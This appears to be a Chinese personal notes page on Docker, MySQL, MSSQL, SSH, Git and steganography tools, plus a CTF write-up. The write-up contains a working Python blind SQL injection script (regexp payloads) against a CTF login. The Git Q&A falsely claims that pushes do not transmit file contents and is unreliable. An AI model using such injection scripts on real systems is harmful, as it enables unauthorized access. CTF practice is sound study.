VScode alt+shift+拖动鼠标进行纵向选择

Windows杀死占用某个端口的进程

1
2
3
netstat -ano | findstr 8080
tasklist findstr 8080
taskkill -PID <要杀死的进程号> -F

Docker

在docker中初始化容器

1
docker run -it -p 3306:3306 --name docker_mysql -d mysql:5.5 -e MYSQL_ROOT_PASSWORD=123456

在docker中启动mysql容器

1
docker start mysql

在docker中暂停mysql容器

1
docker stop mysql

输入命令连接到docker中的mysql容器

1
docker exec -it docker_mysql mysql -p

进入容器

1
docker exec -it <containerID> /bin/bash

解决宿主机无法通过localhost连接Docker中的MySQL数据库问题

在初始化完成MySQL容器之后我尝试使用JDBC连接数据库为WEB应用提供服务这时一切正常,但是在我关闭数据库的远程连接功能时却无法正常访问数据库了,只有将host设置为%时才能登陆数据库。
于是我使用mysql>select user();来查看当前登陆用户的主机地址,结果为root@172.17.0.1查阅资料后得知,Docker启动时会在主机上自动创建一个docker0网桥,当主机访问docker时是通过docker0网桥对docker容器的内部进行访问,对于容器来说此时主机的IP地址为172.17.0.1而不是localhost/127.0.0.1,要解决这个问题只需要将host设置为172.17.0.1就可以在不开启远程访问的前提下从真机访问MySQL容器了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
use mysql;

select user,host from user;

+------+------------+
| user | host |
+------+------------+
| root | % |
| root | localhost |
+------+------------+

select user();

+-------------------+
| user() |
+-------------------+
| root@172.17.0.1 |
+-------------------+

update user set host = '172.17.0.1' where host = '%';

select user,host from user;

+------+------------+
| user | host |
+------+------------+
| yiha | % |
| root | 172.17.0.1 |
| root | localhost |
+------+------------+

flush privileges;





SSH

禁用密码登陆

1
2
3
vim /etc/ssh/sshd_config
PasswordAuthentication no
systemctl restart sshd // 重启ssh服务使设置生效

服务器端设置心跳

vim /etc/ssh/sshd_config

1
2
ClientAliveInterval 60//服务器每间隔60s向客户端发送一次空包维持心跳
ClientAliveCountMax 30//当客户端超过30次没有正确返回响应时服务器停止发送心跳

在服务器端设置SSH公钥位置

进入Linux的用户主目录中

cd ~ # ~代表当前用户的主目录

新建.ssh文件夹

mkdir .ssh

创建authorized_keys文件并将公钥放入其中

vim .ssh/authorized_keys

注意创建的目录与权限应当拥有与用户相对应的权限

在客户端使用私钥登陆

ssh -i privateKey username@server





MySQL

关闭远程连接,若要开启将localhost的值设置为‘%’即可

1
2
update user set host = 'localhost' where user = 'root';
flush previliges; // 刷新

列出所有可用数据库

1
show databases;

选择要使用的数据库

1
use <mydatabase>;

查看表结构

1
describe <table_name>;

MSSQL

拉取镜像

1
docker pull mcr.microsoft.com/mssql/server:2017-latest

生成容器

1
docker run  -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=<yourpassword>" -p 1433:1433 --name docker_sqlserver -d mcr.microsoft.com/mssql/server:2017-latest

绕过MSSQL2000M内存限制

将容器中的配置文件复制到容器外部

由于容器无法正常启动所以无法进入容器然后再修改,所以将容器中的文件复制到真机再覆盖回去

1
docker cp <contianer>:/opt/mssql/bin/sqlservr  "/home/sqlservr"

先修改文件名再使用python修改内存限制

1
2
3
4
5
6
7
8
cd /home
mv sqlservr sqlservr.old
oldfile = open("sqlservr.old", "rb").read()
newfile = oldfile.replace("\x00\x94\x35\x77", "\x00\x80\x84\x1e")
open("sqlservr", "wb").write(newfile)
exit()
chmod 777 sqlservr
docker cp /home/sqlservr <contianer>:/opt/mssql/bin/sqlservr

Base64编码方式

Base64,就是包括小写字母a-z、大写字母A-Z、数字0-9、符号”+”、”/“一共64个字符的字符集,任何符号都可以转换成这个字符集中的字符,这个转换过程就叫做base64编码。

在编码时首先将字符串(图片等)转换成二进制序列,然后按每6个二进制位为一组,分成若干组,如果不足6位,则低位补0。每6位组成一个新的字节,高位补00,构成一个新的二进制序列,最后根据base64索引表中的值找到对应的字符。

进入容器连接数据库

1
2
docker exec -it sqlserver "bash"
/opt/mssql-tools/bin/sqlcmd -S localhost -U SA





我在本地仓库push的文件储存在服务器仓库的什么位置?

当你使用git push命令将本地仓库的变更推送到远程仓库时,Git会将本地仓库中的变更打包成一个提交对象(commit object),并将这个提交对象推送到远程仓库中。这个提交对象包含了本地仓库中被修改的文件和相关的元数据(如作者、日期、提交信息等)。
在服务器仓库中,这些提交对象会被存储在Git对象库中,通过SHA-1哈希值来唯一标识。具体来说,每个提交对象都会被存储为一个文件,文件名就是该提交对象的SHA-1哈希值前两个字符,文件内容则是该提交对象的详细信息。这些文件存储在服务器仓库的.git/objects/目录下,按照哈希值的前两个字符进行分类存储。
除了提交对象之外,服务器仓库还包含了一些其他的Git对象,如树对象(tree object)、标记对象(tag object)等。它们也会被存储在.git/objects/目录下,按照哈希值的前两个字符进行分类存储。
需要注意的是,服务器仓库中的Git对象库并不包含工作目录,它只包含版本控制所需的文件和目录。因此,服务器仓库中并不会存储你在本地仓库中添加、修改、删除的具体文件,而是存储了这些文件的相应的版本信息。当你从服务器仓库中获取代码时,Git会将这些版本信息还原为具体的文件,并将它们存储在工作目录中。

也就是说假如我有一个10k的文档,在我push之后这10k数据并不会传输给服务器?

是的,你的理解是正确的,Git在将本地仓库的变更推送到远程仓库时,并不会将整个文件传输给服务器,而是会将文件的变更(如新增、修改、删除等)打包成一个提交对象,然后将这个提交对象推送到远程仓库中。提交对象中包含了文件的变更内容、作者、时间戳、提交信息等元数据,但并不包含文件的完整内容。
在Git中,文件的完整内容是由多个Git对象组成的。具体来说,每个文件在Git中都被表示为一棵树,树的每个节点都对应一个Git对象,这个对象可以是另一个树对象,也可以是一个文件对象。文件对象中包含了文件的实际内容。当你在本地仓库中修改一个文件后,Git会生成一个新的文件对象来表示这个文件的变更,然后将这个新的文件对象添加到树中。这个树对象再添加到另一个树中,最终形成一个提交对象。
因此,当你将本地仓库的变更推送到远程仓库时,Git只会传输这个提交对象,而不会传输文件的完整内容。这种方式能够大大减少数据传输的大小,提高传输效率。当你从远程仓库中获取代码时,Git会根据提交对象中的信息,获取相应的文件对象,再将这些文件对象组合成完整的文件,存储在工作目录中。

git是如何将文件的变更打包成提交对象的?

在Git中,当你修改或添加一个文件时,Git会将它看作是一个修改或添加操作,也就是一个文件变更。这个文件变更会被记录在Git的暂存区(stage/index)中。暂存区是一个中间状态,用来存放即将提交的变更。当你执行git add命令时,Git会将暂存区中的文件变更打包成一个树对象(tree object),并将这个树对象保存到Git对象库中。树对象包含了文件的路径、文件名、文件类型和文件内容的哈希值等元数据,但并不包含文件的实际内容。
然后,当你执行git commit命令时,Git会将暂存区中的所有文件变更打包成一个提交对象(commit object),并将这个提交对象保存到Git对象库中。提交对象包含了树对象的哈希值、作者、提交时间、提交信息等元数据,以及指向父提交对象的指针(如果是第一次提交,则没有父提交对象)。这样,一个提交对象就包含了你所做的所有文件变更。
需要注意的是,在Git中,提交对象并不是一个可变的对象,也就是说,一旦提交对象创建完成后,就不能再修改它。如果你想修改一个已经提交的文件,那么你需要先在本地修改文件,然后将修改推送到远程仓库中,这样才能将修改记录在新的提交对象中。

什么是git泄露

Git泄露指的是将包含敏感信息的Git仓库(如密码、密钥、证书、API密钥等)意外或故意地泄露到公共网络或未授权访问者手中的情况。这种情况可能会导致敏感信息被黑客或恶意攻击者利用,造成严重的安全威胁和财务损失。
Git泄露通常发生在对Git仓库的配置和权限管理不当的情况下。例如,如果你在公共的Git仓库上存储了包含敏感信息的代码库,并且没有对访问权限进行严格的限制,那么可能会被黑客轻易地发现和利用。另外,如果你在本地计算机上存储了包含敏感信息的Git仓库,并且没有采取适当的安全措施(如加密、备份、限制访问等),那么可能会被黑客或病毒攻击直接获取到仓库中的代码库和敏感信息。
为了避免Git泄露,你应该采取以下措施:

对Git仓库进行适当的权限管理,限制仅有必要的人员能够访问和修改仓库;

在Git仓库中不要存储包含敏感信息的文件或代码库;

对Git仓库中的敏感文件进行加密或者使用第三方工具进行加密;

定期备份Git仓库,并将备份存储到安全的地方;

对Git仓库进行安全扫描,及时发现和修复潜在的安全漏洞。

黄豆小人国

😀😃😄😁😆🥹😅😂🤣☺️😊😇🙂🙃😉😌😍🥰😘😗😙😚😋😛😝😜🤪🤨🧐🤓😎🥸🤩🥳😏😒😞😒😞😔😟😕🙁☹️😣😖😫😩🥺😢😭😤😠😡🤬🤯😳🥵🥶😶‍🌫️😱😨😰😥🤗😓🤔🫣🤭🫢🫡🤫🫠🤥😶🫥😐🫤😑😬🙄😯😦😧😮😲🥱😴🤤😪😮‍💨😵🤐🤐🥴🤢🤮🤧😷🤒🤕🤑🤠😈👿👹👺🤡💩👻💀☠️👽👾🤖🎃

NCTF2019 SQLi(Regexp注入)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from urllib import parse
import string
import time

url='http://d5600f05-e02d-491b-a9ea-9f4437c9bded.node4.buuoj.cn:81/index.php'

string= string.ascii_lowercase + string.digits + '_'

flag=''

for i in range(100):
for j in string:

data={
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
'username':"\\"
}
#print(data)
res = requests.post(url=url,data=data).text
#print(res)
if 'welcome' in res:
flag+=j
print(flag)
#print(res)
break
time.sleep(0.1)
time.sleep(0.1)

# result = you_will_never_know7788990

文件隐写

Linux下 使用 file 通过识别文件头判断文件类型

文件修复,使用010editor手动添加文件头

Linux下使用Binwalk来分析分离文件

分析 Binwalk filename

分离 Binwalk -e filename

分离完毕会在当前目录新建文件夹,遇到压缩包会自动解压

Linux下使用dd手动分离文件

dd if=源文件 of 输出文件名 bs=读写块大小 count=执行读写块数量 skip=从开头开始跳过n个读写块

Linux下的文件合并 cat 合并的文件 > 输出的文件 批量合并 cat *.后缀 > filename

Linux下检测完整性 md5sum 文件名

Windows下文件的合并 copy /B filenme1+filename2 finalname.后缀

图片隐写

Fireworks 图片查看器

Exif 查看图片附加信息

Linux exiftool filename

stegsolve(需要Java环境) 结合分析;查看颜色通道;对两张图片进行XOR(异或),ADD(相加),SUB(相减,注意顺序)

LSB

stegsolve 用法: open file>Data Extract 调整Bit Plans, Bit Order,Bit plane Order

zsteg(Linux)安装 gem install zsteg 用法: zsteg filename 适用对象png bmp

webstego4 使用对象 BMP RLE TXT ASC HTML XML PDF

Python脚本

TweakPNG 用于查看图片的CRC

Bftools 用于解密图片信息

用法:

bftools.exe decode braincopter filename -o filename_output

bftools.exe run filename_output

SilentEye图形界面

JPG图像加密

1.Stegdetect

可用于检测JSteg,JPhide,OutGuess,Invisible Secrets,F5,appendX,Camouflage等加密方式

使用方法:stegdetect filename.jpg

2.OutGuess

一般用于解密文件信息

编译命令./configure&&make&&make install

使用方法:

outguess -r filename output

3.F5

一般用于解密文件信息

使用方法:另文件与F5处于同一个目录下

使用 Java Extract filename -p password

运行结束后可以在output.txt中查看运行结果

二维码处理

1.补全定位符

2.反色处理

3.使用stegsolve查看隐藏颜色通道